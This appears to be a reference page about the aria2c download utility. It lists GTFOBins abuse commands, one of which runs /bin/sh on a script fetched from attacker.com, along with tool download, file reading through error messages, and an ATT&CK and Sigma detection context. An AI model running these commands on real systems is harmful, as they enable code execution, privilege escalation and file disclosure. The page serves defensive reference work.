Identifier / Programs / Linux and Unix
aria2c
Fast download utility. Supports HTTP(S), FTP, SFTP, BitTorrent, and Metalink. tldr-pages
GTFOBins command, download, file-read 1 ATT&CK technique 4 documented commands
How aria2c is abused
command
--on-download-errorcommand
--allow-overwrite--gid--on-download-completedownload T1105 Ingress Tool Transfer
-ofile-read
-iEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for aria2c.
4 documented commands
command unprivileged, with sudo, as SUID
Note that the subprocess is immediately sent to the background.
echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
aria2c --on-download-error=/path/to/temp-file http://some-invalid-domainIdentifycommand unprivileged, with sudo, as SUID
The remote file aaaaaaaaaaaaaaaa (must be a string of 16 hex digit) contains the shell script, e.g., /path/to/command. Note that said file needs to be written on disk in order to be executed. --allow-overwrite is needed if this is executed multiple times with the same GID.
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=/bin/sh http://attacker.com/aaaaaaaaaaaaaaaaIdentifydownload unprivileged, with sudo, as SUID
Use --allow-overwrite if needed. Similarly -o /path/to/ouput-file can be omitted, in that case the file is saved to input-file in the current working directory.
aria2c -o /path/to/ouput-file http://attacker.com/path/to/input-fileIdentifyfile-read unprivileged, with sudo, as SUID
The file is leaked as error messages.
aria2c -i /path/to/input-fileIdentifyNone of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for aria2c. The identifier reads the line of each that runs aria2c.
What detects it
Everyday use
Download a specific URI to a file
aria2c "url"IdentifyDownload a file from a URI with a specific output name
aria2c --out path/to/file "url"IdentifyDownload multiple different files in parallel
aria2c --force-sequential=true "url1" "url2" ...IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.